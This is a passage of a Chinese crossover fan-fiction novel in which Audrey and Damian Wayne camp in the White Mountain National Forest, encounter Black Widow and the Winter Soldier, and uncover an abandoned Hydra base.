“所以你不能排除有蛇。”布莱克忧郁地说。 “好吧，我确实不能。那你有什么建议吗？” “在客厅里支起帐篷假装露营怎么样？”布莱克觉得自己非常机智。 “不怎么样。”奥德莉叹气。 “或者你找个保镖，哦不，同伴一起。比如达米安。”布莱克又生一计。只要遇上认为危险、粗鄙或麻烦的事务，它总是毫不犹豫地第一个想到达米安。 “其实……这是个好主意。”虽然布莱克的小心思昭然若揭，但奥德莉想了想，觉得这样确实会更安全。而且，有达米安和她一起，她便可以去一些更偏僻的地方露营，而不是那些已经被开发得很成熟的、没什么挑战性的营地。 “你在做什么呢？”奥德莉给达米安发信息。 达米安先发了几张精致的甜点图片，然后才回复文字：“白天闲着无聊做的。不过我不爱吃甜食，看来晚上只好丢掉了。” “你可以请家里人吃。”奥德莉立刻看穿了达米安的小算盘，但她还没有做好再一次撞见布鲁斯的心理准备。 “父亲去参加宴会了。阿福说他年纪大了，吃不了甜食。”达米安知道奥德莉的顾虑是什么。 “好吧，我可以勉为其难帮你吃掉。这是为了避免浪费。”奥德莉回复。 “我在小厨房等你。”达米安得意地笑起来，然后赶紧收敛表情，免得被奥德莉看见。 “你找我是有什么事吗？”达米安问。他原本还在考虑怎么开口把蛋糕送过去，没想到奥德莉会先联系他。 奥德莉一边吃蛋糕，一边把自己的计划讲了一遍：“我想周末就去试试。如果你有空一起的话，就去远一点的地方。” “我们可以去白山国家森林，那里离哥谭不算远，而且我知道一处不向游客开放的地方。”达米安很快想到了一个合适的地点。“我来准备装备，让你体验一下真实的野外生存。” 奥德莉犹豫道：“也别过于真实。我不想茹毛饮血。” 达米安好笑道：“我会教你生火烤肉的。” 虽然达米安做饭很好吃，但在没有调味料的野外，烤出来的肉恐怕又柴又苦。这样悲观地想着，奥德莉立刻下定决心，打算偷偷带几根能量棒。 “你确定我们不从游客路线开始吗？”奥德莉浏览着网上对白山国家森林的介绍，发现那里地形复杂，天气多变，心里有点忐忑。她举起手机，把一张照片展示给达米安看：“这些山……看起来不太好爬的样子。” “放心吧，爬山和野外生存我都很擅长。”达米安很有信心。 “我可是彻头彻尾的新手，一点经验都没有的。”奥德莉强调。她能看出来达米安很万能，不输贝爷的那种，但她仍担心自己会成为彻底的猪队友。 “就算再来三个菜鸟，我也能保证你们的安全。” “这些都是你在刺客联盟学的吗？”奥德莉有点好奇。 “刺客联盟的训练涵盖各类环境。我在五岁的时候就爬过雪山了。”达米安轻描淡写地说。 “雪山！”奥德莉惊呼。在她想来，米傲天再怎么厉害，也总得遵守人类体能极限吧。五岁的小朋友能爬的雪山估计不会特别高，她应该能做到。“听起来挺有趣的，将来能带我去试试吗？” 达米安却没马上答应，而是认真思索了一下：“以你现在的身体素质，训练三个月应该可以了。” “啊？你也太小瞧人了。你还记得那座雪山的名字吗？我来查查。” “Sagarmatha。” “怎么拼写？”奥德莉没有听说过这个名字。 “哦，这是尼泊尔语。美国人称呼它为Everest。”达米安说，仿佛在说一座最普通的山，而不是世界第一高峰。 “珠穆朗玛峰？”奥德莉震惊地抬起头，瞪着达米安。 “需要拼写吗？”达米安误解了她的意思。 “不用了，我的地理和语文还没有差到这个程度。”奥德莉赶紧解释，以免被当成文盲。 “我独自在山上过了一夜，”达米安又补充道，“期间还有其他成员轮流来刺杀我，用来模拟实战环境。”达米安又补充道。 “你确定模拟的是真实场景，不是科幻电影吗？”达米安的童年经历在奥德莉听来简直是天方夜谭。 第66章 在听了达米安对自己童年训练的讲述之后，奥德莉对自己即将面临的野外生…… 在听了达米安对自己童年训练的讲述之后,奥德莉对自己即将面临的野外生存训练担忧不已。倒不是担心会出什么危险，毕竟如果他们俩去了白山国家森林，那里最危险的生物就是达米安了,不可能有野外猛兽打得过他。 她担心的是达米安对普通人的能力有误解,即便是他五岁便能轻松完成的,她现在也做不到啊。 因此，奥德莉不得不反复强调：“千万不要以你的标准来做计划，否则我会中途跑掉。” 达米安哭笑不得地答应了,也对她提出要求：“那你也答应我，如果你觉得受不了某项训练，先告诉我一声，给我一个改进的机会。不要直接离开。” “放心吧,我不会丢下你而独自传送回去的。”奥德莉说。 “你最近已经丢下我两次了。”达米安委屈巴巴地眨眼睛,绿色的眼睛几乎要蒙上水雾。“我都要因此讨厌三明治了，因为你总不忘带上它。” 单凭演技,就能看出达米安绝对是布鲁斯的亲生儿子。不知道是从什么时候开始，达米安开始频频对奥德莉使用这一招，并且屡试不爽。 奥德莉在心软和强硬之间摇摆了一秒,最后选择了杀敌一千自损八百,严肃地承诺：“下次我会把你和三明治一起丢下。” 这个决定达米安固然不会开心，但她可是会损失一个美味的三明治啊。 在达米安不可思议的瞪视下，奥德莉绷不住扑克脸，忍不住笑了。 周五，毒藤女脚步轻快地走到奥德莉对面坐下,迫不及待地说：“亲爱的,你听说了吗？小丑疯了！” “这不算新闻吧。他已经疯了很多年了。”奥德莉随口说。 “这次他疯得与以往不同。他没有意识了，只能偶尔说点胡话。” “你怎么知道的？” “哈莉告诉我的。”毒藤女用亲昵的语气说出小丑女的名字,然后又有点不开心地撅嘴。“不过我发现人人都知道了。” 这件事对阿卡姆的病人是瞒不住的，越是遮遮掩掩越是显得可疑，所以维斯勒医生告诉奥德莉不必刻意否认小丑的现状。毒藤女和其他病人来往不多，是最后一批听说这个喜讯的人。 “好吧，你听到的消息没错。你看起来很高兴？” “哈莉很高兴。再说，这里没人喜欢那个丑家伙。” 看来毒藤女和小丑有私人恩怨，也许是因为三角关系。奥德莉早就发现她和小丑女哈莉奎茵的关系好得不太寻常。 奥德莉很好奇阿卡姆的病人们是否知道小丑其实换过人，试探性地问：“小丑的脸上涂的油彩那么厚重，你怎么能看出他的容貌是美是丑？” 毒藤女撇撇嘴：“首先，一个帅哥是不会把自己打扮成那样的，他一定是想遮掩什么，显然是他的丑脸。其次，他的妆容毫无美感，丑得我都不敢细看。还有最重要的一点，哈莉和他还没闹翻的时候一直叫他‘布丁’，布丁软塌塌的像是橡皮，还有黏糊糊的糖浆，是世界上最丑陋的甜点。” 看来毒藤女不知情，而且对小丑的厌恶甚至因为哈莉对小丑的称呼而延伸到了甜品上。毒藤女又骂了小丑十分钟才离开，奥德莉默默听着，觉得自己一段时间内可能都不想吃布丁了。 周六，奥德莉早早起床，换上户外衣物，带着她的大背包去韦恩庄园和达米安会合。阿尔弗雷德将驾驶直升飞机送他们去白山国家森林，然后达米安带着奥德莉跳伞至目标区域。 “这个计划听起来从头到尾都完全不普通，像是好莱坞大片里特种兵去解救人质。”奥德莉评价道。“为什么不请阿尔弗雷德把我们放在游客区域的停机坪呢？” “这样更节省时间。”达米安解释。“而且，我担心你从游客区域走到目的地之后，会累得没力气完成后面的训练计划。” “好吧，听起来有道理。”奥德莉立刻被说服了。她原本就对刺激的极限运动很感兴趣，只是一直没机会体验跳伞。 “带上这个通讯器，它也是定位器。正义联盟的技术。”达米安取出一个纽扣大小的装置，俯身将它稳稳地别在奥德莉的衣领上。“手机在那里没有信号。这个能穿透干扰，连接瞭望塔的卫星频道。” “谢谢。”奥德莉好奇地碰了碰通讯器，有一种自己是外勤特工的感觉。 “你这个包会不会太重了？”达米安看向奥德莉脚边的巨型背包，它几乎和达米安准备的一样大。“我带了帐篷和其它必需品，你不需要再带一份。” “我没有带那些啊。”奥德莉打开背包给他展示。“我带了一些仪式材料，总感觉不带上的话不安心。” “那些能量棒和矿泉水又是怎么回事？”达米安指着占据背包一半以上空间的食物。 “以防我们找不到合适的水源和食物嘛。” 最后，在达米安的劝说下，奥德莉只带了仪式材料和几根能量棒。阿尔弗雷德帮她找了一个中型背包，正好能放下这些。 如果布莱克在场，它一定会毫无原则地开始谴责达米安，说些“凭什么不让你带？他以为自己是谁？他说了算吗？”之类的怪话。不过它对达米安的保镖能力很放心，又不是一只喜欢去野外吃苦的猫咪，便和奥德莉约好如果有需要的话再召唤它。 “别担心，不会让你饿肚子，也不会让你吃虫子的。”瞥见奥德莉对食物眷恋的眼神，达米安说。 阿尔弗雷德操控着直升机悬停在山林上方。达米安已经穿戴完毕，降落伞背在身后，奥德莉则被稳稳地固定在他身前，两人都戴着专业护目镜。 “祝你们玩得开心。”阿尔弗雷德提高嗓门，声音在引擎的轰鸣中显得有点含糊不清。 飞机舱门缓缓滑开，狂风呼啸而入。达米安环住奥德莉的腰，听到后者雀跃地喊一声“出发”，然后带着她纵身一跃。 短短几十秒的自由落体像一场被无限拉长的梦境，奥德莉能听见的只有风声和自己的心跳声。她努力地睁大眼睛，欣赏着周围的景色，达米安的手臂稳稳地箍在她的腰间，完全消弭了重力和坠落带来的恐惧。 达米安猛地拉开伞绳，降落伞骤然展开，下降的速度随之减缓。 风声减弱了，他们在空中缓缓地滑翔，最后落在一小片空地上。 “回去之后我要学这个。”奥德莉激动地说，脸颊因为风和兴奋而红扑扑的。她已经爱上了在空中飞翔的感觉，立刻将学习跳伞列入自己的待办清单。 达米安就知道她会喜欢这个。他将伞具收好，然后指向树林方向：“我们朝那边走。” “这里已经没有信号了。”奥德莉习惯性地拿出手机看了看，又塞回口袋。 两人沿着林间小道缓缓前行。达米安一边带路，一边为奥德莉讲解各种野外生存知识——哪种树皮可以引火，如何根据苔藓辨别方向，哪些野草有毒、哪些能止血。奥德莉兴致勃勃地观察那些植物，时不时提问几句。 两个小时后，他们终于走到一条清澈的河边。达米安停下脚步，说：“我们在这里吃午饭。” “捕鱼？”奥德莉探头看看河水，却只看到几条小鱼游过，并没有她期待中那种肥美的大鱼翻腾的景象。 “抓兔子。”达米安已经从包中取出了简易工具，递给奥德莉一套，教她如何搭设陷阱装置。奥德莉有模有样地模仿，虽然生疏，但也很快成功了。 “我们就坐在这里等吗？还是藏起来一点，免得被兔子发现？”奥德莉拍去手上的泥土，四处张望着，不知道是否要守株待兔。 达米安显然早有计划：“我们去摘一些野生植物。这样更有效率。” 他带着奥德莉沿着河边行走，将野葱、蒲公英以及浆果指给她看，又叮嘱她哪些是有毒的，千万不能靠近。 两人采了不少的野菜和果子，然后又回到设置陷阱的地方。 “有两只兔子落网了。”奥德莉望着自己的午饭，咽了咽口水。“等等，我们还没有炊具。你不会要现场做一个锅吧？” “这一次是初阶课程，那个留着下次再讲。”达米安从背包中取出户外小锅和防水火柴，用树枝和几块石头搭起了一个简易的火堆架，再用干枯的树皮点燃火苗。他有意放慢了速度演示，然后对奥德莉说：“你来试试。” 奥德莉很快学会了。望着升起的火苗，她喃喃地说：“看来我真的是天选调查员。” 达米安很想说这都是最简单、最基础的内容，但看着奥德莉被火光映照的明亮笑容，他将话咽了回去。 两人一起做了烤兔子和蔬菜汤，其中加入了达米安带的调料。奥德莉一边吃，一边畅想：“我们再抓一只野鸡怎么样？或者野鸭，野鹅也行。如果猎物吃不完，还可以带回去送给阿尔弗雷德。” “我们不是来开篝火大会的。”达米安化身魔鬼教官，无情地打碎了奥德莉的幻想。“吃完我们还得赶路，到我计划好的驻扎点还有四个小时的行程。我们需要在天黑前搭起帐篷。” 奥德莉僵住了：“这……这么高强度的安排吗？” “如果你能不吃晚饭的话，我们也可以在这里多呆一会儿。” “我想吃晚饭。”奥德莉委屈巴巴。“我们快出发吧。” 熄灭火堆，拆除陷阱，收好装备。一系列收尾工作之后，两人背上背包，再度踏入树林。 “我们晚饭的时候可以抓野鸡吃吗？”奥德莉仍对自己的幻想念念不忘。 “如果你的陷阱能抓到野鸡的话。”达米安说。 奥德莉将达米安的话视为鼓励，又说：“那教我做一个更大的陷阱吧，我还想抓野猪。” “……我还是先教你爬树吧。”达米安真担心奥德莉自己在野外行动的时候，可能会胆大妄为地对野猪下手。野猪不会爬树，人类在面对它时通常会选择爬树避难。 第67章 下午的教学内容同样有趣。奥德莉听着达米安的讲解，偶尔和他拌嘴几句，…… 下午的教学内容同样有趣。奥德莉听着达米安的讲解,偶尔和他拌嘴几句，四个小时的路程竟然不知不觉间就走完了。 达米安计划的过夜地点是一处隐蔽的高地，是他查看卫星地图后精心挑选的：离水源不远,树林掩映,又有很好的俯瞰视野。 “抓野鸡啦！”奥德莉欢快地去林间设置陷阱,语气中充满了期待。达米安打定主意，如果没有识相的野鸡自投罗网，他就去抓一只放进夹子。 等待猎物的时候,达米安指导奥德莉如何支起帐篷。正值夏天，即便是山中的夜晚也不会太冷，因此他带了两顶轻便的单人帐篷、防潮垫和薄睡袋。 “如果是冬天，还需要羽绒睡袋。”达米安说。 奥德莉看着自己的成果——有点歪歪扭扭,一看就是新手之作,但很结实。她很满意地用手机拍了张照片，打算回去之后发给亲友炫耀。 “太阳快落山了,你先去摘点野菜。”达米安看看天空，给奥德莉安排任务。“别走太远，有情况随时喊我。” 奥德莉离开后,达米安立刻四处搜寻,总算在奥德莉回来之前找到了一只山鸡。 “我回来啦。”奥德莉的声音远远地传来。“我还摘了蘑菇。” 检查了蘑菇之后，达米安宣布：“这些都可以吃。” “我知道彩色蘑菇有毒，所以只挑了这些灰扑扑的。”奥德莉得意极了，旋即跑去陷阱那边查看。“啊！” 达米安抿抿嘴，假装不知情地问：“怎么了？” “我们要有烤鸡吃啦！”奥德莉惊喜地看着猎物。其实她对此并没抱多大希望,因为傍晚时很多小型动物会回巢休息,她已经做好了啃能量棒、喝蘑菇汤的思想准备。“感谢大自然的*馈赠。” 达米安深藏功与名，和奥德莉一起生火做饭,又一次展露了高超的烤肉技术。 饭后，夜色已深。达米安说：“今天的最后一课，如何确保夜晚的安全。” 奥德莉吃饱喝足，精力十足地和达米安学习如何摆放火堆才能让它长时间地燃烧、如何在帐篷附近设置警示陷阱等一系列安全措施。 “我们需要轮流守夜吗？”虽然四肢酸痛，但这一天全然新鲜的经历让奥德莉一直处于兴奋状态，此刻毫无睡意。 周围很安静，只有远处的虫鸣声和火堆的噼啪声提醒她，这是完全不同于深夜都市的环境。 “这里还算安全，我们的警戒足够了。如果有猛兽过来，我会发现的。”达米安自信地说。“放心休息吧。” “可我睡不着。现在才十点。”奥德莉环顾四周，想找点事情做，然后被夜空吸引了。她看了一会儿，问达米安：“你一定认识这些星星吧？” “当然。不过我猜测你们教的和天文学知识不尽相同？” “只是对星空有不同的解读。我们绘制的星图更像是在记录多维空间在人类眼中的投影。” 见达米安露出感兴趣的神色，奥德莉便讲起那些无法被证实、也无法被证伪的故事：“有传说认为，当群星归位之时，旧日支配者会苏醒，外神会到达地球，人类当然也随之毁灭了。” “什么样的情况算是“群星归位”？” “不知道。”奥德莉一摊手。“随着天文学的发展，学校的教授对此问题更加争执不休。目前的主流观点认为‘归位’是几何意义上的，意味着恒星、暗星、以及无数我们目前无法观测到的天体在空间中到达某个位置。” “但是你们并不知道群星归位的具体位置。” “对，所以也完全没办法预测毁灭之日。这个传说来自于一个遥远而古老的村落，记录它的调查员还说，当地人认为门与道路都隐藏在天空之中。” “失落的历史。”达米安感慨。“古代的人类即便被告知星图，也无法理解或留下完整而精准的记载。” “没错，类似的传说很多，让人不禁怀疑古人也许确实掌握了一些重要的信息，只是受限于对世界的了解而不能真正理解。”奥德莉指向猎户座的腰带三星。“比如那三颗星，有些记录将其描述为外神的信标，通往旧日支配者黄衣之王的栖身之处。” 达米安与奥德莉并排坐在篝火旁，一起仰望着深邃的星空。 人在凝视星空时，常常会觉得那些遥远的星星仿佛在闪烁、眨眼，像是有生命般在回应人类的注视。 科学上说，星光在进入地球大气层后需要穿越多层密度、温度和湿度各异的空气，光线不断地发生不规则折射，才造成了那种明暗不定的视觉效果。 即使明白这些原理，当亲眼看到无数星星在静夜中仿佛有节奏地忽明忽暗时，人的心里仍难免升起一种错觉：它们是不是在用某种人类听不懂的语言回应什么？回应人类的注视，或是宇宙中的其它声音？ 两人又低声聊了一会儿，奥德莉的声音愈发轻柔，偶尔带着无意识的停顿，最后被困意压倒，歪头靠在达米安的肩上睡着了。 “你这样睡，明天肯定会喊脖子疼。”达米安用几不可闻的声音说。他犹豫了一会儿，然后动作轻柔地把奥德莉抱起来，安稳地放在帐篷中已经铺好的睡袋里。 奥德莉睡得很沉，大概是白天太累了，也可能是因为知道达米安在旁边，她完全没有身处野外的紧张和警惕。 “晚安。”达米安轻轻地说，为她拉上帐篷的拉链。他又去检查了一下火堆，然后躺进自己的帐篷里。 达米安听见脚步声，立刻从浅眠中醒来，悄然无声地从帐篷中朝外看去——竟然是两名复仇者联盟成员，“黑寡妇”娜塔莎罗曼诺夫和“冬兵”詹姆斯巴恩斯。 娜塔莎和詹姆斯是为任务而来。 二战时，詹姆斯是美国队长史蒂夫罗杰斯领导的突击队的队员，在被九头蛇抓走后，他从身体改造和洗脑中存活，成为拥有一条金属手臂的、没有过去记忆的无情杀手。 九头蛇一度和苏联合作，并派詹姆斯去苏联担任红房子的教官。正是在那个培养间谍和刺客的地方，在西伯利亚的风雪中，詹姆斯和娜塔莎相遇并相爱了。 九头蛇和苏联发现后，分别对两人洗脑。失去记忆的两人曾被故意派去执行对立的任务，刀兵相见下几乎杀死对方。后来冬兵曾恢复部分记忆，但娜塔莎没有；再之后，冬兵在一次次洗脑中忘记了过去，娜塔莎却终于想起了从前。 几十年过去，他们再一次并肩站在一起，以复仇者的身份。 詹姆斯已经恢复了大部分记忆，唯独一些关于九头蛇基地的信息仍需要时间来唤起，因为有些地方他并未亲自去过，只是被强行灌入了记忆。在深层记忆恢复后，那些表层记忆变得模糊起来。 前几日，詹姆斯忽然记起一处位于新罕布什尔州的九头蛇基地，立刻将信息报告给史蒂夫。在詹姆斯的印象中，这处基地已经废弃多年，并不算危险。因此，在简短的讨论后，史蒂夫同意了先派一人和詹姆斯去查看的建议。 娜塔莎主动表示自己最近没有其它任务，詹姆斯当然没有异议。两人坐上神盾局的飞机，刚跳伞着陆就看到人迹罕至的山林中有一处火堆，在深夜中非常显眼。 “这不是迷路的游客吧？”看着远处的帐篷，詹姆斯不确定地问。“看起来并不狼狈，倒更像是在露营。” “这里可不是普通游客迷路能到达的地方。”娜塔莎意味深长地说。 “极限运动爱好者？”詹姆斯随口猜测着，却也提高了警惕。两人刚刚潜行到帐篷附近，就见一个年轻人拉开了帐篷，正好和他们大眼瞪小眼。 “你们是谁？”达米安先发制人，开始表演。 他知道对面两人的身份，但不想暴露自己的，幸好可参考的素材库非常庞大——极限运动爱好者、疯狂阔佬布鲁斯在这条赛道上已经没有对手了。 娜塔莎不相信对方是偶然发现他们的，但总不能一见面就把对方打晕。两人穿着复仇者制服，说自己是普通游客的可信度太低了，于是说：“我们是林业局的，来这里检查。我叫娜塔莎，他是詹姆斯。你呢？需要帮助吗？” 尽管复仇者联盟成员的身份已经被公开，但这是两个美国常见的名字，娜塔莎不认为普通人会联想到复仇者上面。如果他露出恍然的反应，则说明他的身份有问题。 但娜塔莎的试探落了空。达米安一脸无知地和他们打招呼，然后压低了声音自我介绍：“我叫达米安，和朋友一起来玩。她在睡觉。” 达米安指指身侧的帐篷。奥德莉睡得很香，完全没被几人的对话吵醒。 “那就不打扰了。我们还有工作要做。”娜塔莎温柔地说，转身朝树林走去，詹姆斯立刻跟上。 走出一段距离，娜塔莎顿住脚步：“这个人很不对劲。” “我拍下了他的照片。”詹姆斯邀功似地说。最近钢铁侠给他的机械臂加了不少新功能，此时正好派上用场。 “干得不错嘛，巴基。”娜塔莎笑起来，这次是真挚的，和对着达米安的时候完全不一样。“在数据库里查一查。” 凭借斯塔克工业的卫星，两人连上了数据库，很快根据面容识别得知了达米安的身份。 “达米安韦恩，看来他和他那位父亲的喜好很一致。”詹姆斯说。 “你注意到火堆和帐篷了吗？他可不是普通的户外运动爱好者，手法很专业。”娜塔莎说。 “但另一个帐篷看起来是新手搭的。他说和朋友一起来玩，似乎是实话。” “我们先完成任务吧。”娜塔莎不觉得达米安和朋友会对他们造成什么威胁。“你不记得具体坐标，我们恐怕得找上一阵子。” “九头蛇的地下基地通常有标志性记号，但同时也会在外面布置灌木或藤蔓，以免被外人注意到。”詹姆斯打开战术灯，仔细地查看周围。“几十年过去，那些记号可能完全被大自然吞没了。” 第68章 奥德莉是被阳光唤醒的。她呆呆地坐了一会儿，回忆起昨晚自己在星空下睡…… 奥德莉是被阳光唤醒的。她呆呆地坐了一会儿,回忆起昨晚自己在星空下睡着了，然后意识到是达米安帮她安顿好的，为她避免了第二天腰酸背痛的惨状。 她找出手机看时间,发现才刚刚五点钟。但是她已经全无困意,并不想赖床,便打开帐篷出去了。 达米安听到声音，也从帐篷里出来，看起来已经醒了一会儿了。 “早上好。以及谢谢。”奥德莉打个招呼,然后去河边简单洗漱。 回到营地时，她被达米安准备的早餐惊呆了——他刚煎好了蛋和午餐肉，正在用锅的余温烘烤面包，准备做三明治。 “你竟然带了鸡蛋？”奥德莉说完,立刻意识到自己在犯傻。这是野外生存训练,不是夏日午后野餐。 “是鸟蛋，我刚才去树上掏的。”达米安被她的反应逗笑了。 “太好了。烤肉虽然好吃,但我真不想一大早继续吃那个了。”如果需要的话，奥德莉可以坚持再吃一天烤肉，也不会抱怨或提出其它要求。但面对达米安的好意,她毫不犹豫地表达了自己的惊喜和感激。 达米安表情淡然,实则对她的反应很受用。他一本正经地说：“我得让你满意，才有机会吸引你来参加高阶训练课程。” 奥德莉坚定地说：“我现在就报名。” 虽然这次体验之后，她觉得自己还是更喜欢现代都市，在有选择的情况下绝不会主动去露营，但她立志成为最优秀的调查员,掌握的技能自然是越多越好。 何况达米安真的是全世界最棒的教官,在教学的时候认真严厉，但不会让学员忍受无谓的折磨。从达米安手里接过一杯热咖啡时,奥德莉觉得达米安再拿出什么她都不会感觉惊讶了。 吃完早饭，奥德莉和达米安将帐篷收好。他们打算在山里逛逛，再回哥谭吃午饭。 两人漫无目的地走着，路过一处颇为隐蔽的山洞口。洞口杂草丛生，还长着一些开得正盛的紫粉色的花，美丽得夺目。 “这是什么花？”奥德莉提问。 顺着她的视线望去，达米安说：“那是山杜鹃。没有毒。” 闻言，奥德莉放心地去近距离欣赏。刚在草丛中走了几步，她脚下一顿，感觉踩到了什么不该出现在此处的东西。她条件反射地惊呼一声，整个人猛地朝一侧跳开，险些绊倒。 尽管周围看起来很安全，但达米安一直在警戒着，这已经是他的本能了。他几乎是瞬间便奔到奥德莉身边，一把拉住她的手腕，另一只手已经下意识地摸上了腰侧的匕首。 奥德莉稳稳神，赶紧解释：“我没事。只是好像踩到了一块石板，被吓了一跳。” 达米安皱眉：“这里是自然土层，怎么会有石板？” 两人一起蹲下身查看。拨开表层的泥土，一块平滑的石板彻底显露出来。它的面积不大，长宽大约一米，表面平整，显然并非自然生成，而是出自人力加工。 “你说得对，这不是天然生成的。”奥德莉说。 “埋在这么浅的地方，明显不是为了永久封存某处入口，而是为了再次开启。”达米安很快注意到石板右下角的特殊之处：“看这里。” 那是一个指甲盖大小的徽记，不仔细看很容易被忽略。虽然被风化侵蚀得有些模糊，那个图案还是很容易被辨认：一个骷髅头，下方延伸出六条触须。 “九头蛇？”奥德莉立刻认出来了。“第一次看到这个图案时，我就觉得这个组织的设计者脑子有问题——不像蛇身，而更像是章鱼须，而且也没有九个头，甚至触须的数量也不是九。” “九头蛇虽然号称设立百年，但领导层经过几次大换血，早就和最初的理念背道而驰了。”达米安鄙视地说。“最初他们是想寻找外星神明，后来想支持纳粹，二战德国战败后，他们又想取代神盾局。他们的标志也换过几次，最后成了这个四不像。” “我在新闻上看到过，”奥德莉对此事印象深刻。“美国队长说神盾局被九头蛇渗透成了筛子，除了复仇者联盟成员之外，只有局长和他的少数几个亲信不是九头蛇。” 虽然尊敬美国队长，但想到美国队长当时的窘境，奥德莉忍不住笑起来。毫不夸张地说，九头蛇一度在实质上取代了神盾局，甚至想把美国队长抓起来洗脑，让他也效忠九头蛇。 不过换个角度想，九头蛇在神盾局里集体卧底多年，也等于变相在给神盾局打工，兢兢业业地整理情报、处理任务、维持系统运转。 “是的。九头蛇根本就是一盘散沙，在基本鸠占鹊巢的情况下竟然还能被铲除，可见他们完全是一群乌合之众。”达米安说。“我听说他们的内部管理极其混乱，再加上被剿灭得太突然，很多基地的情报都下落不明了。” “可是这个地方看起来像是早就被废弃了。” 达米安继续嘲讽：“全盛时期，九头蛇的势力曾遍布全世界。但看起来，在一次次的内斗和权力更迭中，他们的档案早就残缺不全了，可能都忘了自己还有这么一处基地。” “也许他们是故意关闭这个基地呢。”奥德莉对达米安的犀利评价感到有点吃惊，小小地唱个反调。她想了想，偷笑道：“所以刺客联盟肯定是不会犯这种低级错误喽。” 达米安被戳穿了心思，抿着嘴不吭声。 “你在刺客联盟长大，受到他们的全力培养，有强烈的归属感也不奇怪。”奥德莉理解地说。“就像我对密大一样，我觉得它是最好的学校。” 其实是不一样的。达米安这样想，却没有说出来。 奥德莉很勇敢，在旁观者看来几乎是天真无畏的，原因之一是她在遇到问题时可以毫不犹豫地去联系学校。在她的认知里，教授们不仅值得信任，更会无条件地站在她身后。而她的每一次求助都被认真回应，这种经历又进一步印证了她的信念——密大是学生坚实又强大的后盾，并且包容学生可能犯下的错误。 而在刺客联盟，达米安从小就明白一个道理：他没有犯错的资格。他不止要做到优秀，他必须完美无缺。 “这朵花送给你。”奥德莉从身侧摘下一朵盛开的山杜鹃，递给达米安。 尽管他掩饰得很好，她还是敏锐地察觉到了他在沉默中的那一瞬间的恍神。 他看起来很冷静，没有像以往那样故意表演出可怜，但反而更让她心软。 “为什么？”达米安一愣，下意识地接过花。 “一定需要理由吗？”奥德莉想了一下，“表彰一下我的优秀员工，因为他……很好。” 达米安笑了起来，仿佛刚才那点低落只是奥德莉的错觉。他小心地将那朵花别在背包带子上，说：“谢谢老板。” 奥德莉又去低头研究石板：“它的下面会不会埋着金银珠宝？据说纳粹当年藏起了无数财物以备东山再起，或许九头蛇也是这样。” “更可能是某个基地的入口。”达米安说。“凌晨时分，两名复仇者联盟成员空降在附近。在我发现他们后自我介绍说是林业局的，很快就离开了。” “啊？我怎么不知道？”奥德莉惊呆。“我太不警惕了，要是他们有恶意，我就危险了。” 她心有余悸，决定以后自己夜宿野外时一定要召唤布莱克帮忙守夜。 “即便你醒着也未必能发现。”达米安说。“他们都接受过冷战时期的间谍训练，又经过人体改造，不仅身手敏捷，潜伏能力也非常人可比。” “来的是谁呀？”奥德莉好奇。 “黑寡妇和冬兵，你听说过吗？” “我只知道黑寡妇。”奥德莉说。 “他们来这里出任务，很可能就是为了找这个基地。但是他们不知道具体坐标，反而我们无意找到了这里。”达米安猜测。 “如果这里是基地入口，要怎么打开它呢？”奥德莉反复查看石板，百思不得其解。“强行撬开吗？但它看起来和地面融为一体了，找不到缝隙。” ：= 她思索着，手指无意识地轻敲石板右下角的图案，说：“我们可以先回去取一些工具，铁锹或电锯，炸药也带点，然后再来暴力开启。” 话音未落，指尖下的石板忽然轻微一震，像是触发了什么机关。过了几秒钟，一声轻微的“咔哒”声从石板下方传来。 下一瞬，石板猛地向下沉去，伴随着一阵刺耳的机械运行声音。 奥德莉一个踉跄，几乎要栽倒下去，急忙伸手拉住身旁的达米安稳住自己。达米安反应极快，反手握住她的手臂，另一只手紧紧地搭在她背后。 石板完全消失后，一道向下延伸的金属梯井出现在两人视线内，空气中传来尘土和铁锈的味道。 “我刚才是用什么频率敲的？”奥德莉努力回忆，但她只是随意为之，自己都没意识到其中有什么规律。“还是说它听到我说‘炸药’，立刻屈服了？” 达米安也答不上来，索性不去思考这个问题，而是问：“下去看看？” “我也正想问你同样的问题。”奥德莉摩拳擦掌，为这项计划之外的活动而兴奋。 达米安用手电朝下方照了照，光柱穿透浮动的尘埃，却照不到漆黑的尽头。他说：“我先下去，你等我的信号再下来。” 他鄙视九头蛇，但不会低估这个组织的危险性。即使奥德莉误打误撞地触发了机关，但基地中可能有许多超出想象的陷阱，在沉寂多年后仍能为访客送上死亡。 “好。”奥德莉没有异议。考虑到两人的身手差距，这样确实更安全。“但你不要冒进，发现不对就立刻回来。” 达米安点头应下。出于谨慎，他并未立刻下去，而是先等待下方的空气充分流通。期间，他向阿尔弗雷德报告了当前位置的坐标和接下来的行动计划。 “我会关注你们的位置信号。”阿尔弗雷德令人心安的声音从通讯器里传来。 “谢谢。”达米安关闭了通讯器。 第69章 达米安踏上金属梯子，缓慢下行，用靴底轻踩每一阶判断是否稳固。一百二…… 达米安踏上金属梯子,缓慢下行，用靴底轻踩每一阶判断是否稳固。一百二十阶之后，他终于抵达了地下基地的地面。 这里的空间比上方的井口要宽敞许多。达米安转过身,立刻注意到一扇虚掩着的金属门。门锁生了锈,但从划痕来看,在那之前它就被人撬开过。 奥德莉目不转睛地盯着达米安，看着他携带的手电发出的光点离自己越来越远，直至模糊得只剩下一块微弱的光斑。 “你到最下面了吗？”奥德莉原本不想出声,免得干扰达米安，但她等得焦急，最终还是问了。 “到了。”达米安说。“这里很深，我数过了,一百二十阶,大约二十米。” 他用力推开沉重的金属门，门轴发出尖锐的金属摩擦声。门后一片黑暗,但随着门被推开，墙壁上的灯亮了起来，偶尔闪烁一下,可能是无人维护的基础设施老化了。 “下面安全。”达米安说。“你想爬梯子下来,还是直接传送来我旁边？” “我想爬梯子试试，从没走过这种。”奥德莉看看离自己最近的几根横向踏杆。梯子的两根主梁焊接在墙壁里，垂直向下。 “慢一点。”达米安叮嘱。他等在下面，做好随时接住奥德莉的准备。 奥德莉小心翼翼地下到地面，立刻看到那扇被打开的门和门后明亮的房间。她警惕地问：“这些灯,是感应到有人靠近才亮起来的吗？” “是我推开门之后才亮的。不过这里以前有其他人来过,不是九头蛇的人。”达米安将门锁上的划痕指给她看。 两人走进房间，环顾四周：墙上挂着一些肖像画,有几幅的主人公不像是人类，骷髅般的面容颇为骇人，下方标注着德国风格的名字。 “他们可能是九头蛇当时的高层或重要人物。”达米安说。 基地太安静了。远离了森林的喧嚣，两个人的脚步声、呼吸声和说话声都被放大。 “这里有六扇大门，布局倒是和九头蛇的标志很呼应。”奥德莉说着，走向最左边的门，却发现它被锁住了。 